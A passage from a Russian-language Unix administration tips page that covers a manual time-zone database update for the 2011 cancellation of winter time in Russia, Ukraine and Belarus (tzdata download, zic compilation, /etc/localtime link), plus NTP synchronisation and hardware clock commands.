    на зимнее/летнее время, успели появиться приложения, не учитывающие сдвиг на
    час, что чревато списанием/начислением лишнего часа и прочими неприятными
    эффектами, проявляющимися при запуске программ в "исчезнувший" час.
    
     
    ----* Ручная настройка отмены перехода на зимнее время в Unix-подобных ОС (доп. ссылка 1)   Автор: Величко Д.С.  [комментарии]
     
    В России, Украине и Беларуси отменен переход на зимнее время. В отличие от
    прошлых лет, с 29 на 30 октября часы переводить не нужно. Для большинства
    систем новая база часовых поясов будет установлена через штатные обновления и
    не потребует от пользователя каких-либо действий. Для устаревших систем
    потребуется внесение ручных изменений.
    
    Текущий часовой пояс в Linux и FreeBSD устанавливается файлом /etc/localtime.
    Этот файл представляет собой ссылку на информационный файл зоны или его копию.
    В большинстве дистрибутивов  база данных с информацией о часовых поясах
    расположена в каталоге /usr/share/zoneinfo. Обновления содержимого базы данных
    часовых поясов можно получить с сайта ftp://elsie.nci.nih.gov/pub/
    
    Для ручного обновления базы часовых поясов загружаем её последнюю версию:
    
       wget ftp://munnari.oz.au/pub/tzdata2011n.tar.gz
    
    Распаковываем во временную директорию:
        
        tar xzf tzdata2011n.tar.gz
    
    
    Проверяем текущую установленную зону
    
    для Fedora/RHEL/CentOS:
    
        cat /etc/sysconfig/clock | grep ZONE
        ZONE="Asia/Yekaterinburg"
    
    для Debian/Ubuntu:
    
        cat /etc/timezone
        Asia/Yekaterinburg
    
    
    Проверим активное расписание переходов на зимнее/летнее время для текущей зоны:
    
        zdump -v Asia/Yekaterinburg |grep 2011
    
        Asia/Yekaterinburg  Sat Mar 26 20:59:59 2011 UTC = Sun Mar 27 01:59:59 2011 YEKT isdst=0 gmtoff=18000
        Asia/Yekaterinburg  Sat Mar 26 21:00:00 2011 UTC = Sun Mar 27 03:00:00 2011 YEKT isdst=0 gmtoff=21600
        Asia/Yekaterinburg  Sat Oct 29 20:59:59 2011 UTC = Sun Oct 30 02:59:59 2011 YEKST isdst=1 gmtoff=21600
        Asia/Yekaterinburg  Sat Oct 29 21:00:00 2011 UTC = Sun Oct 30 02:00:00 2011 YEKT isdst=0 gmtoff=18000
    
    Если последних двух строк нет, значит в систем уже установлена обновленная база
    временных зон и больше ничего делать не нужно.
    
    Иначе, убедимся в наличии необходимого обновления. Для городов в европейской
    части смотрим файл europe, для азии - asia. Разделение в этих файлах весьма
    условное, например, Екатеринбург относится к группе Asia, но указан в файле europe:
    
        vi europe
    
    ищем город для своего часового пояса:
    
       Zone Asia/Yekaterinburg  4:02:24 -      LMT     1919 Jul 15 4:00                
           4:00   -       SVET    1930 Jun 21 # Sverdlovsk Time   
           5:00   Russia  SVE%sT  1991 Mar 31 2:00s               
           4:00   Russia  SVE%sT  1992 Jan 19 2:00s               
           5:00   Russia  YEK%sT  2011 Mar 27 2:00s               
           6:00   -       YEKT    # Yekaterinburg Time            
    
    На всякий случай делаем резервную копию файла с текущими настройками:
    
        cp /etc/localtime  /tmp/localtime.old
    
    Компилируем временные зоны из файла europe. Утилита zic читает текстовый файл с
    описаниями зон и на выходе формирует бинарные файлы специального формата. Стоит
    обратить внимание что утилита без ключа "-d" пишет файлы временных зон сразу в
    /usr/share/zoneinfo, что нам и необходимо.
    
        zic europe
    
    Создаем ссылку на обновленную временную зону:
    
        ln -sf /usr/share/zoneinfo/Asia/Yekaterinburg /etc/localtime
    
    После обновления проверим переходы времени для нашей текущей зоны. В последний
    раз переход произошел с 26 на 27 марта:
    
        zdump -v Asia/Yekaterinburg |grep 2011
    
        Asia/Yekaterinburg  Sat Mar 26 20:59:59 2011 UTC = Sun Mar 27 01:59:59 2011 YEKT isdst=0 gmtoff=18000
        Asia/Yekaterinburg  Sat Mar 26 21:00:00 2011 UTC = Sun Mar 27 03:00:00 2011 YEKT isdst=0 gmtoff=21600
    
    Убедимся, что 30 октября 2011 года показания будут без перехода на зимнее время:
       
        date --date='1000hours'
        Сбт Ноя 12 14:36:46 YEKT 2011
    
     
    ----* Как установить точное время на системных часах.   [комментарии]
     
    Для unix:
        в раз в час запускать через крон: ntpdate 194.186.254.22 195.2.64.5
    Для Cisco IOS:
       ntp clock-period 17180070 
       ntp server 195.2.64.5 version 2
       ntp server 194.186.254.22 version 2
    
     
    ----* Как изменить время в энергонезависимых системных часах (RTC)   [комментарии]
     
    Скопировать в аппаратные часы текущее системное время под Linux можно командой: 
    	hwclock --systohc
    В FreeBSD достаточно изменить время используя команду date.
    
     

     Версия для печати





    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру